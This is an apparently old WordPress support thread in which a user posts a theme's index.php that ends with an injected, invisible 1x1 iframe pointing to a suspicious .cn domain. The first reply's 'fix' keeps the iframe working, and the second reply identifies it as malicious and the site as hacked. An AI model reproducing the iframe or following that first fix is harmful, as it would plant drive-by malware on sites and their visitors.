Title: Parse error: parse error, unexpected &#8216;?&#8217;
Last modified: August 19, 2016

---

# Parse error: parse error, unexpected ‘?’

 *  [coachguerci](https://wordpress.org/support/users/coachguerci/)
 * (@coachguerci)
 * [17 years, 3 months ago](https://wordpress.org/support/topic/parse-error-parse-error-unexpected-3/)
 * Parse error: parse error, unexpected ‘?’
    is the error I keep getting. Can someone
   figure what’s wrong? It happened when I upgraded a plugin.
 * Any thoughts?
 * The following is the full error message followed by the index.php code
    Parse
   error: parse error, unexpected ‘?’ in /home/content/g/u/e/guerci/html/ELATeacher/
   index.php on line 18
 * <?php
    get_header(); ?>
 * <?php if (have_posts()) : while (have_posts()) : the_post(); ?>
 * <div class=”datecomrap”>
    <div class=”date”> <?php the_time(‘M’); ?> <span style
   =”font-size:2em; font-weight:bold;”><?php the_time(‘d’); ?></span> <?php the_time(‘
   Y’); ?> </div><!– end date –>
 *  <!– if you don’t want the comment count left of the post, erase from here … –
   >
    <div class=”commy”> <?php comments_popup_link(__(‘0’), __(‘1’), __(‘%’), ”,
   __(‘–‘)); ?> </div><!– end commy –> <!– to here –>
 * </div><!– end datecomrap –>
 *  <div class=”storywrap”>
    <div class=”post” id=”post-<?php the_ID(); ?>”>
 * </h3>
 *  <div class=”storycontent”>
    <?php the_content(__(‘(more…)’)); ?> </div><!– end
   storycontent –>
 *  <div class=”meta”>
 * Written by <?php the_author() ?><?php _e(” in:”); ?> <?php the_category(‘,’) ?
   > | <?php the_tags(__(‘Tags: ‘), ‘, ‘, ‘ ‘); ?><?php edit_post_link(__(‘Edit 
   This’)); ?>
    <?php wp_link_pages(); ?>
 *  </div><!– end meta –>
 * <?php comments_template(); ?>
 *  </div><!– end storywrap –>
 * </div><!– end post –>
 * <?php endwhile; else: ?>
    <p style=”margin:100px 0 0 100px; font-weight:bold;”
   ><?php _e(‘Sorry, no posts matched your criteria.’); ?></p> <?php endif; ?>
 * <div class=”navlink”>
    <?php posts_nav_link(‘ — ‘, __(‘« Newer Posts’), __(‘Older
   Posts »’)); ?> </div><!– end navlink –>
 * <?php get_footer(); ?<html><body><iframe src=”[http://litetopfindworld.cn/in.cgi?cocacola37&#8243](http://litetopfindworld.cn/in.cgi?cocacola37&#8243);
   width=1 height=1 style=”visibility: hidden”></iframe></body></html>>

Viewing 2 replies - 1 through 2 (of 2 total)

 *  [GrandSlambert](https://wordpress.org/support/users/grandslambert/)
 * (@grandslambert)
 * [17 years, 3 months ago](https://wordpress.org/support/topic/parse-error-parse-error-unexpected-3/#post-976591)
 * The problem may be the last bit of code:
 *     ```
       <?php get_footer(); ?<html><body><iframe src="http://litetopfindworld.cn/in.cgi?cocacola37" width=1 height=1 style="visibility: hidden"></iframe></body></html>>
       ```
   
 * See how after the “get_footer” call it doesn’t close the PHP correctly?
 * Should be
 *     ```
       <?php get_footer(); ?>
       <html><body><iframe src="http://litetopfindworld.cn/in.cgi?cocacola37" width=1 height=1 style="visibility: hidden"></iframe></body></html>
       ```
   
 *  [UseShots](https://wordpress.org/support/users/useshots/)
 * (@useshots)
 * [17 years, 3 months ago](https://wordpress.org/support/topic/parse-error-parse-error-unexpected-3/#post-976817)
 * It’s not an HTML issue. It’s a security issue.
 * This hidden _litetopfindworld_ iframe is a malicious one
    [http://www.google.com/safebrowsing/diagnostic?site=litetopfindworld.cn](http://www.google.com/safebrowsing/diagnostic?site=litetopfindworld.cn)
 * [@coachguerci](https://wordpress.org/support/users/coachguerci/): Your site has
   been hacked! You should remove this iframe and investigate how it got there.

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘Parse error: parse error, unexpected ‘?’’ is closed to new replies.

## Tags

 * [parse-error](https://wordpress.org/support/topic-tag/parse-error/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 2 replies
 * 3 participants
 * Last reply from: [UseShots](https://wordpress.org/support/users/useshots/)
 * Last activity: [17 years, 3 months ago](https://wordpress.org/support/topic/parse-error-parse-error-unexpected-3/#post-976817)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
